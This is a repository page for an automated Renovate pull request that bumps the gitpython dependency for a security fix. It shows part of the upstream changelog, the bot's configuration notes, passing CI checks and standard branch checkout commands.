GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://github.com/WesR) in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) #### New Contributors - [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) made their first contribution in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - [@&#8203;daniel7an](https://github.com/daniel7an) made their first contribution in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - [@&#8203;lweyrich1](https://github.com/lweyrich1) made their first contribution in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - [@&#8203;Copilot](https://github.com/Copilot) made their first contribution in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - [@&#8203;mvanhorn](https://github.com/mvanhorn) made their first contribution in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) made their first contribution in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) made their first contribution in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - [@&#8203;ngie-eign](https://github.com/ngie-eign) made their first contribution in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - [@&#8203;WesR](https://github.com/WesR) made their first contribution in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODEuOCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MS44IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Update dependency gitpython to ~=3.2.1 [SECURITY]
All checks were successful
Actions / Build (pull_request) Successful in 33s
Actions / Lint (pull_request) Successful in 39s
4c920caeb6
All checks were successful
Actions / Build (pull_request) Successful in 33s
Required
Details
Actions / Lint (pull_request) Successful in 39s
Required
Details
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/pypi-gitpython-vulnerability:renovate/pypi-gitpython-vulnerability
git switch renovate/pypi-gitpython-vulnerability
Sign in to join this conversation.
No reviewers
No milestone
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
GalacticFactory/GalacticFactoryUtils!26
No description provided.